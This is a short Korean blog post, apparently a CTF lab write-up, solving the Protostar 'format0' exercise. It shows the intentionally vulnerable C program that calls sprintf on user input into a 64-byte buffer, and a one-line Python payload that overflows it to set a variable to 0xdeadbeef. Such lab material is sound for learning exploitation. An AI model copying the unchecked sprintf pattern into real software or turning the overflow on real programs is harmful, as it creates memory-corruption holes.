protostar format0

assb
|2020. 11. 1. 23:04

old.liveoverflow.com/binary_hacking/protostar/format0.html

 

Format 0 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

 buffer을 overflow 시켜서 target의 값을 0xdeadbeef로 변경해야 한다. 이때 buffer에는 argv[1] 값이 들어가게 된다. 

 

 main과 vuln 함수를 gdb로 확인했다. 

 

 gdb로 확인한 내용을 바탕으로 스택 구조를 그림으로 그려보면 다음과 같다. 즉, target의 값을 변조시키기 위해서는 임의의 64byte+"0xdeadbeef"를 입력하면 된다. 

 

./format0 `python -c 'print "\x90"*64+"\xef\xbe\xad\xde"'`

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29